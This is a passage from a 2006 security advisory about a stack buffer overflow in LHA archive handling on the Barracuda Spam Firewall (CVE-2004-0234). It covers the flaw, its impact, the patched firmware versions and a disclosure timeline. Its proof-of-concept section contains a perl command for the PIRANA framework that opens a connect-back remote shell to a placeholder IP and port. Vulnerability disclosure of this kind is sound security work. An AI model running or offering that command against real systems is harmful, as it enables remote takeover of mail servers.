compromise\n\nAnnounced: 2006-04-03\nProduct: Barracuda Spam Firewall\nVendor: http://www.barracudanetworks.com/\nImpact: Remote shell access\nAffected product: Barracuda with firmware \u003c 3.3.03.022 AND\n spamdef \u003c 3.0.10045\nCredits: Jean-S\\xe9bastien Guay-Leroux\nCVE ID: CVE-2004-0234\n\n\nI. BACKGROUND\n\nThe Barracuda Spam Firewall is an integrated hardware and software solution for\ncomplete protection of your email server. It provides a powerful, easy to use,\nand affordable solution to eliminating spam and virus from your organization by\nproviding the following protection:\n\n * Anti-spam\n * Anti-virus\n * Anti-spoofing\n * Anti-phishing\n * Anti-spyware (Attachments)\n * Denial of Service\n\n\nII. DESCRIPTION\n\nWhen building a special LHA archive with long filenames in it, it is possible to\noverflow a buffer on the stack used by the program and seize control of the\nprogram. \n\nSince this component is used when scanning an incoming email, remote compromise\nis possible by sending a simple email with the specially crafted LHA archive\nattached to the Barracuda Spam Firewall. \n\nYou do NOT need to have remote administration access (on port 8000) for\nsuccessfull exploitation. \n\nFor further informations about the details of the bugs, you can consult OSVDB\n#5753 and #5754 . \n\n\nIII. IMPACT\n\nGain shell access to the remote Barracuda Spam Firewall\n\n\nIV. PROOF OF CONCEPT\n\nUsing the PIRANA framework, available at http://www.guay-leroux.com , it is\npossible to test the Barracuda Spam Firewall against the LHA vulnerability. \n\nBy calling PIRANA the way it is described below, you will get a TCP connect back\nshell on IP address 1.2.3.4 and port 1234:\n\nperl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l 1.2.3.4 \\\n-p 1234 -z -c 1 -d 1\n\n\nV. SOLUTION\n\nBarracuda Networks pushed an urgent critical patch in spamdef #3.0.10045,\navailable March 24th 2006. \n\nThey also published an official patch in firmware #3.3.03.022, available April\n3rd 2006. \n\nIt is recommended to update to firmware #3.3.03.022 . \n\n\nVI. CREDITS\n\nUlf Harnhammar who found the original LHA flaw. \n\nJean-S\\xe9bastien Guay-Leroux who conducted further research on the bug\nand produced exploitation plugin for the PIRANA framework. \n\n\nVII. REFERENCES\n\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0234\n\n\nVIII. HISTORY\n\n2006-03-02 : Disclosure of vulnerability to Barracuda Networks\n2006-03-02 : Acknowledgement of the problem\n2006-03-24 : Problem fixed\n2006-04-03 : Advisory disclosed to public\n",
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